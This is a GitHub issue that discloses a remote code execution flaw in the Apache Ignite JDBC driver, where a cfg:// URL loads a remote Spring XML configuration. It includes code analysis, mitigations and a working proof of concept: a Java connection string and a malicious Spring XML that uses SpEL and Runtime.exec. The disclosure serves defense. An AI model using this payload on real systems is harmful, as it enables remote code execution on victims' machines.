Skip to content

Vulnerability Report: Apache Ignite JDBC cfg:// Remote Spring Configuration Leads to Arbitrary Code Execution #12832

@Fushuling

Description

@Fushuling

Summary

Title: Apache Ignite JDBC cfg:// configuration URL loads remote Spring XML, leading to arbitrary code execution
Component: Apache Ignite JDBC driver (IgniteJdbcDriver / JdbcConnection)
Version Tested: 2.17.0 (from ignite.properties and decompiled classes)
Impact: Remote Code Execution (RCE) in the JVM process that uses the JDBC driver
Severity: Critical

The Apache Ignite JDBC driver supports a special jdbc:ignite:cfg:// URL form. The substring after cfg:// is interpreted as a Spring XML configuration location and passed to Spring for full context initialization. If an attacker can control the JDBC URL, they can point it at an attacker-controlled remote Spring XML (e.g. http://attacker/evil.xml) and achieve arbitrary code execution in the victim JVM when the JDBC connection is established.

I tried reporting the vulnerability via email at security@ignite.apache.org, but I haven't received a response almost a month after sending the email, so I have no choice but to report it as an issue.

Affected Product and Environment

  • Product: Apache Ignite
  • Module: JDBC driver
    • org.apache.ignite.IgniteJdbcDriver
    • org.apache.ignite.internal.jdbc2.JdbcConnection
  • Version: 2.17.0
  • Environment (tested):
    • JDK 11
    • Windows, but the issue is not OS-specific as long as HTTP(S) URLs are reachable

The behavior likely affects other Ignite 2.x versions that implement the same cfg:// handling.


Vulnerability Description

cfg:// URL handling

The Ignite JDBC driver accepts URLs starting with jdbc:ignite:cfg://:

public Connection connect(String url, Properties props) throws SQLException {
    if (!this.acceptsURL(url)) {
        return null;
    }
    if (!this.parseUrl(url, props)) {
        throw new SQLException("URL is invalid: " + url);
    }
    return new JdbcConnection(url, props);
}

public boolean acceptsURL(String url) throws SQLException {
    return url.startsWith(CFG_URL_PREFIX); // CFG_URL_PREFIX = "jdbc:ignite:cfg://"
}

It then parses the configuration part and stores it into the ignite.jdbc.cfg property:

private boolean parseUrl(String url, Properties props) {
    if (url == null) {
        return false;
    }
    if (url.startsWith(CFG_URL_PREFIX) && url.length() >= CFG_URL_PREFIX.length()) {
        return this.parseJdbcConfigUrl(url, props);
    }
    return false;
}

private boolean parseJdbcConfigUrl(String url, Properties props) {
    String[] parts = (url = url.substring(CFG_URL_PREFIX.length())).split("@");
    if (parts.length > 2) {
        return false;
    }
    if (parts.length == 2 && !this.parseParameters(parts[0], ":", props)) {
        return false;
    }
    props.setProperty(PROP_CFG, parts[parts.length - 1]); // PROP_CFG = "ignite.jdbc.cfg"
    return true;
}

Examples:

  • jdbc:ignite:cfg://D:/config.xmlignite.jdbc.cfg = "D:/config.xml"
  • jdbc:ignite:cfg://http://127.0.0.1:50025/evil.txtignite.jdbc.cfg = "http://127.0.0.1:50025/evil.txt"

In particular, if the substring after cfg:// is a syntactically valid URL (e.g. http://..., https://...), it will be treated directly as a URL, not as a local filesystem path.

Loading the configuration via Spring

JdbcConnection uses the ignite.jdbc.cfg value to load a Spring configuration and start an Ignite node:

public JdbcConnection(String url, Properties props) throws SQLException {
    ...
    String cfgUrl = props.getProperty("ignite.jdbc.cfg");
    this.cfg = cfgUrl == null || cfgUrl.isEmpty() ? NULL : cfgUrl; // NULL = "null"
    this.ignite = this.getIgnite(this.cfg);
    ...
}

private Ignite getIgnite(String cfgUrl) throws IgniteCheckedException {
    while (true) {
        IgniteNodeFuture fut;

        if ((fut = (IgniteNodeFuture)NODES.get(this.cfg)) == null) {
            fut = new IgniteNodeFuture();
            IgniteNodeFuture old = NODES.putIfAbsent(this.cfg, fut);
            if (old != null) {
                fut = old;
            } else {
                try {
                    IgniteBiTuple<IgniteConfiguration, ? extends GridSpringResourceContext> cfgAndCtx;
                    String jdbcName = "ignite-jdbc-driver-" + UUID.randomUUID().toString();

                    if (NULL.equals(this.cfg)) {
                        // default config case (not used here)
                        ...
                    } else {
                        cfgAndCtx = this.loadConfiguration(cfgUrl, jdbcName);
                    }

                    fut.onDone(IgnitionEx.start(cfgAndCtx.get1(), cfgAndCtx.get2()));
                }
                catch (IgniteException e) {
                    fut.onDone(e);
                }

                return (Ignite)fut.get();
            }
        }
        ...
    }
}

private IgniteBiTuple<IgniteConfiguration, ? extends GridSpringResourceContext> loadConfiguration(String cfgUrl, String jdbcName) {
    try {
        IgniteBiTuple<Collection<IgniteConfiguration>, ? extends GridSpringResourceContext> cfgMap =
            IgnitionEx.loadConfigurations(cfgUrl);
        ...
    }
    catch (IgniteCheckedException e) {
        throw new IgniteException(e);
    }
}

IgnitionEx.loadConfigurations(String springCfgPath) resolves this string to a URL and passes it to Spring:

public static IgniteBiTuple<Collection<IgniteConfiguration>, ? extends GridSpringResourceContext>
    loadConfigurations(String springCfgPath) throws IgniteCheckedException {
    A.notNull(springCfgPath, "springCfgPath");
    return IgnitionEx.loadConfigurations(IgniteUtils.resolveSpringUrl(springCfgPath));
}

IgniteUtils.resolveSpringUrl first attempts to construct a java.net.URL from the string:

public static URL resolveSpringUrl(String springCfgPath) throws IgniteCheckedException {
    URL url;
    A.notNull(springCfgPath, "springCfgPath");
    try {
        url = new URL(springCfgPath);
    }
    catch (MalformedURLException e) {
        url = U.resolveIgniteUrl(springCfgPath);
        if (url == null) {
            url = IgniteUtils.resolveInClasspath(springCfgPath);
        }
        if (url != null) {
            // resolved from local FS or classpath
        } else {
            throw new IgniteCheckedException("Spring XML configuration path is invalid: " + springCfgPath + "...", e);
        }
    }
    return url;
}

For a string like http://127.0.0.1:50025/evil.txt:

  • new URL("http://127.0.0.1:50025/evil.txt") succeeds
  • The resulting HTTP URL is returned and passed into Spring configuration loading (IgnitionEx.loadConfigurations(URL) and IgniteSpringHelper.loadConfigurations(...)).

This means that controlling only the JDBC URL is sufficient to make the victim process fetch and load a remote Spring XML configuration over HTTP(S).

Spring then parses the XML and instantiates all defined beans, including dangerous constructs such as MethodInvokingFactoryBean or SpEL expressions that can trigger arbitrary method calls.


Proof of Concept (PoC)

PoC Java code (using remote HTTP URL)

package com.yulate;

import java.sql.DriverManager;
import java.sql.SQLException;

public class test {
    public static void main(String[] args) throws SQLException {
        String url = "jdbc:ignite:cfg://http://127.0.0.1:50025/evil.txt";
        DriverManager.getConnection(url);
    }
}

In this PoC:

  • 127.0.0.1:50025 is a local HTTP server controlled by the attacker.
  • /evil.txt serves a malicious Spring XML configuration.

Malicious Spring XML served at http://127.0.0.1:50025/evil.txt

Example payload (uses MethodInvokingFactoryBean and SpEL to execute calc on Windows):

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:util="http://www.springframework.org/schema/util"
       xsi:schemaLocation="
           http://www.springframework.org/schema/beans
           http://www.springframework.org/schema/beans/spring-beans.xsd
           http://www.springframework.org/schema/util
           http://www.springframework.org/schema/util/spring-util.xsd">

    <bean id="spelBean" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="targetClass" value="java.lang.Runtime"/>
        <property name="targetMethod" value="getRuntime"/>
        <property name="arguments">
            <list>
                <value>#{T(java.lang.Runtime).getRuntime().exec('calc')}</value>
            </list>
        </property>
    </bean>
</beans>

Execution flow

  1. The victim application calls DriverManager.getConnection("jdbc:ignite:cfg://http://127.0.0.1:50025/evil.txt").
  2. IgniteJdbcDriver accepts the URL and sets ignite.jdbc.cfg = "http://127.0.0.1:50025/evil.txt".
  3. JdbcConnection calls getIgnite("http://127.0.0.1:50025/evil.txt").
  4. loadConfiguration calls IgnitionEx.loadConfigurations("http://127.0.0.1:50025/evil.txt").
  5. IgniteUtils.resolveSpringUrl creates a URL pointing to the attacker’s HTTP server.
  6. Spring loads the XML from this remote URL and instantiates MethodInvokingFactoryBean.
  7. MethodInvokingFactoryBean evaluates the SpEL expression and calls:
    • Runtime.getRuntime().exec("calc")
  8. The victim JVM executes the attacker-controlled command. On Windows, this opens the Calculator. Real-world payloads could be arbitrary OS commands or further malware.

Critically, in this scenario the attacker only needs control over the JDBC URL and the ability to serve malicious XML at the referenced remote URL. They do not need local filesystem write access on the victim host.

Image

Impact

  • Impact type: Arbitrary code execution in the victim JVM.
  • Privileges: Code runs with the privileges of the process using Ignite JDBC.
  • Attack surface:
    • Any application that:
      • Uses Apache Ignite JDBC with jdbc:ignite:cfg://... URLs, and
      • Allows an attacker (directly or indirectly) to control or influence the JDBC URL value.

Because the configuration location can be a remote HTTP(S) URL, the attacker can host the malicious Spring XML on their own server and does not need file-level access on the victim machine.


Root Cause Analysis

The root cause is the combination of:

  • Unrestricted interpretation of the cfg:// tail as a Spring configuration location:
    • The substring after cfg:// is accepted as-is and passed down to IgniteUtils.resolveSpringUrl.
    • If it is a valid URL (e.g., http://...), it is used directly as a remote configuration source.
  • Full Spring context loading without restrictions:
    • Ignite defers to Spring to parse and instantiate all beans from the configuration file, including arbitrary user-specified classes and factory beans.
    • There is no whitelist of allowed bean types, no sandboxing, and no dedicated “safe” configuration format; a full Spring application context is effectively exposed via JDBC configuration.

As a result, controlling the JDBC URL alone is enough to make the victim application retrieve and execute arbitrary attacker-controlled Spring configurations from remote servers.


Preconditions and Exploitability

To exploit this vulnerability, an attacker needs:

  • Control over the JDBC URL (or some configuration mechanism that determines the URL used by the application).
  • Ability to host a malicious Spring XML file at a URL reachable by the victim JVM (e.g. on http://attacker.example/evil.xml).

No direct filesystem access on the victim host is required if a remote URL is used. This significantly lowers the bar for exploitation in scenarios where:

  • Connection strings are user-supplied or loosely validated.
  • Configuration files containing JDBC URLs can be modified by a lower-privileged user or another service.
  • Multi-tenant or plugin-like architectures where tenants/modules can specify their own JDBC URLs.

Recommendations / Mitigations

Short-term mitigations:

  • Avoid using jdbc:ignite:cfg:// URLs with untrusted input. Treat the configuration part as highly sensitive.
  • Do not allow users or untrusted components to control the JDBC URL used by Ignite JDBC.
  • Use strict validation on configuration sources to ensure JDBC URLs are hard-coded or come only from trusted administrators.
  • Block or restrict outbound HTTP(S) from the application where possible, to reduce remote configuration loading opportunities.

Long-term / code-level mitigations for Ignite:

  • Deprecate or disable the cfg:// scheme by default in the JDBC driver, especially for remote URLs.
  • If configuration URLs must be supported:
    • Restrict accepted schemes (e.g. deny http / https by default).
    • Restrict loading to whitelisted hosts or paths controlled by administrators.
    • Provide configuration flags to completely disable remote URL-based configuration loading in production.
  • Consider introducing a safer, restricted configuration mechanism for JDBC that does not rely on full Spring context loading, or enforce a strict whitelist of allowed bean classes and disallow dangerous constructs (MethodInvokingFactoryBean, arbitrary SpEL, etc.).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions